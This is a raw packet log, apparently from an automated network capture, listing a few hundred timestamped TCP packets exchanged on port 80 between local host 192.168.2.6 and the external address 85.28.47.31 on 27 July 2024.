Jul 27, 2024 03:19:14.952603102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952636003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952646971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952668905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952677011 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952703953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952713013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952739000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952749014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952773094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952780008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952805996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952815056 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952840090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952856064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952879906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952888012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952920914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.952938080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952961922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.952969074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953016996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953023911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953057051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953078985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953105927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953105927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953151941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953157902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953207970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953221083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953241110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953252077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953274012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953289032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953306913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953315973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953341007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953351021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953372955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953382969 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953409910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953416109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953443050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953454971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953476906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953485966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953510046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953519106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953542948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953552008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953577042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953584909 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953610897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953619957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953644991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953654051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953677893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953686953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953713894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953725100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953748941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953757048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953783035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953794003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953818083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953836918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953861952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953867912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953901052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953903913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953933954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953942060 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953968048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.953974962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.953998089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.954010010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954040051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954047918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.954092026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954097986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.954130888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.954145908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954164028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.954174042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954196930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.954207897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954231024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.954240084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954265118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.954273939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954301119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.954308987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954334021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.954341888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954368114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.954376936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954401970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.954411983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954437017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.954443932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954469919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.954478025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954504013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.954513073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954536915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.954546928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954571009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.954581022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954603910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.954613924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954638004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.954644918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954673052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.954682112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954713106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.954988956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.955019951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.955029011 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.955055952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.955059052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.955099106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.955117941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.955151081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.955158949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.955183983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.955188036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.955220938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:14.955221891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:14.955260038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.038362980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.038415909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.038474083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.038486958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.038521051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.038527012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.038530111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.038578033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.038584948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.038618088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.038625002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.038652897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.038655996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.038686037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.038692951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.038721085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.038731098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.038754940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.038759947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.038790941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.038793087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.038825035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.038829088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.038860083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.038861990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.038893938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.038894892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.038928032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.038930893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.038968086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.039397955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039458990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.039482117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039513111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039527893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.039565086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.039567947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039606094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.039621115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039666891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.039673090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039710999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.039725065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039752960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039764881 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.039768934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039783955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.039784908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039800882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039809942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.039817095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039825916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.039833069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039839983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.039851904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039856911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.039869070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.039869070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039887905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039891005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.039905071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039906025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.039920092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.039922953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039938927 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.039940119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039952993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.039957047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039973021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.039973021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039989948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.039997101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040013075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040018082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040028095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040035963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040043116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040065050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040066004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040080070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040081024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040100098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040105104 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040116072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040122032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040133953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040134907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040150881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040150881 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040169001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040172100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040210009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040215969 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040226936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040242910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040257931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040258884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040273905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040282965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040292025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040312052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040324926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040352106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040368080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040383101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040389061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040399075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040405989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040415049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040421009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040436029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040441990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040452957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040457964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040472031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040472984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040492058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040499926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040505886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040518045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040537119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040541887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040553093 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040558100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040574074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040576935 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040589094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040589094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040599108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040622950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040622950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040640116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040647030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040656090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040671110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040671110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040683985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040687084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040699959 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040705919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040718079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040723085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040730000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040771008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040771961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040838957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040848017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040854931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040878057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040879011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040895939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040898085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040911913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040915966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040927887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040940046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040950060 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040955067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040971994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040972948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.040987968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.040988922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.041007042 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.041008949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.041021109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.041024923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.041038990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.041042089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.041057110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.041059017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.041075945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.041078091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.041089058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.041090012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.041110039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.041125059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.041373014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.041388988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.041412115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.041413069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.041428089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.041428089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.041441917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.041456938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.041456938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.041474104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.041485071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.041510105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.041532040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.041567087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.042480946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.042494059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.042519093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.042526960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.042535067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.042541027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.042551041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.042557001 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.042572021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.042577028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.042587042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.042593002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.042617083 CEST	49710	80	192.168.2.6	85.28.47.31
